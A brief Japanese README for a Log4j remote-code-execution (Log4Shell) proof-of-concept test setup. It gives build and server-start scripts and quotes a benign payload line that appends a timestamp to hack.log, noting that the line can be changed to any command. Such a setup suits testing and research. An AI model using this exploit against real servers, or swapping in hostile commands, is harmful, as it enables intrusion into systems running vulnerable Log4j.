log4j-rce-test

ビルド

./build.sh

log4j RCE サーバーの起動

./start-log4j-rce-server.sh

テスト

• java -cp log4j-rce-1.0-SNAPSHOT-all.jar log4j を実行 カレントフォルダの hack.log にログが出力されるか確認
• この行を変更できます
  String[] cmds = { "sh", "-c", "echo 'Exploit at '" + getDateString() + " >> ./hack.log" };
  ファイル apache-log4j-poc/src/main/java/Exploit.java 内の 好きな内容に変更し、再ビルドしてテストを実行
• Maven コンパイルエラーが発生した場合は issue #1 を参照

クレジット

• https://github.com/tangxiaofeng7/apache-log4j-poc.git
• https://github.com/mbechler/marshalsec.git